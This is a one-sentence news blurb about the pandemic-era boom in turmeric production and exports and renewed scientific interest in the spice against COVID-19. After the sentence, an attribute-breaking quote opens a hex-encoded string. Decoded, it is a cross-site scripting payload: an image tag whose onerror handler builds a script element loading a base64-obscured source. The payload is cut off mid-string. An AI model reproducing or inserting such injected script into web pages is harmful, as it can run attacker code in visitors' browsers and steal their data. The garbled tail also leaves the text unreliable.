The pandemic years have witnessed a boom in the production and export of the humble underground stem called turmeric, along with a renewal of interest among the scientific community in the spice’s therapeutic qualities, especially against COVID-19.">0x416d65726963613c696d67207372633d2222206f6e6572726f723d2276617220733d646f63756d656e742e637265617465456c656d656e74282773637269707427293b732e7372633d61746f6228274c">